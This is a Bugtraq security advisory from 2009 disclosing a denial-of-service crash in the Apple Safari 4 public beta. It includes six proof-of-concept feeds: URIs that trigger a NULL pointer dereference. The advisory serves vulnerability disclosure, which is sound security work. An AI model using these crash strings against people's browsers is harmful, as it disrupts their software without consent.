Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of Service Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of Service Vulnerability
- From: Trancer <mtrancer@xxxxxxxxx>
- Date: Wed, 25 Feb 2009 17:34:25 +0200
- Dkim-signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from :user-agent:mime-version:to:subject:content-type :content-transfer-encoding; bh=tW3Wt/02vP2NPY8PeEylz5rfO60jDF3KKLaz/v22N3k=; b=Cm9xlXA73DRgjX8pT7WR67gIpWlJdIf0NndcWgUjAcwGa6RFlAsF8TajJQpISIVU7c QSYGE5n92QSoJyyUypJn9c6JGrqfIWz27oTpkcYYHJ5cpXaAfvLANOIcBOpZ+N32pt43 I5x1cx5D9ydtAO1dKozMSx4ToYsobSKTuNLvc=
- Domainkey-signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:user-agent:mime-version:to:subject :content-type:content-transfer-encoding; b=RRt0yKKQCShDMCb2mVocCxVbZpIC6jzRPzra66v8tsZoo2Ig/xK7U6Zq6SU/JE4iX4 XQfdXOtnWwj5rohUJvfYJ6767n+oXovm2xU3n7ttWsX+ppgUViTG/7QJP/oAfKrKiSCa do35GJrc8JYueEhMagqz+U7foztDhtLLXZ5aI=
- List-help: <mailto:bugtraq-help@securityfocus.com>
- List-id: <bugtraq.list-id.securityfocus.com>
- List-post: <mailto:bugtraq@securityfocus.com>
- List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
- List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
- Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm
- User-agent: Thunderbird 2.0.0.19 (Windows/20081209)
Apple Safari 4 Beta feeds: URI NULL Pointer Dereference Denial of
Service Vulnerability
Date: Feb 25 2009
Class: Input Validation Error
Local: Yes
Remote: Yes
Vulnerable Versions:
* Apple Safari 4 (528.16) Public Beta
Note: MacOS X versions not tested.
Description:
Apple Safari is prone to a denial-of-service vulnerability, caused by a
NULL pointer defernce bug, because it fails to adequately sanitize
user-supplied input within afeeds: URI.
Attackers can exploit this issue to cause denial-of-service conditions
on a users computer and crash the Safari process.
Proof-of-Concept:
feeds:%&www.rec-sec.com/feed/
feeds:{&www.rec-sec.com/feed/
feeds:}&www.rec-sec.com/feed/
feeds:^&www.rec-sec.com/feed/
feeds:`&www.rec-sec.com/feed/
feeds:|&www.rec-sec.com/feed/
Any feeds: URI containing one of these characters will cause a
denial-of-service condition.
Disclosure:
Vendor has been informed.
Solution:
No solution.
Credit:
Trancer
http://www.rec-sec.com
--
Trancer
0nly Human.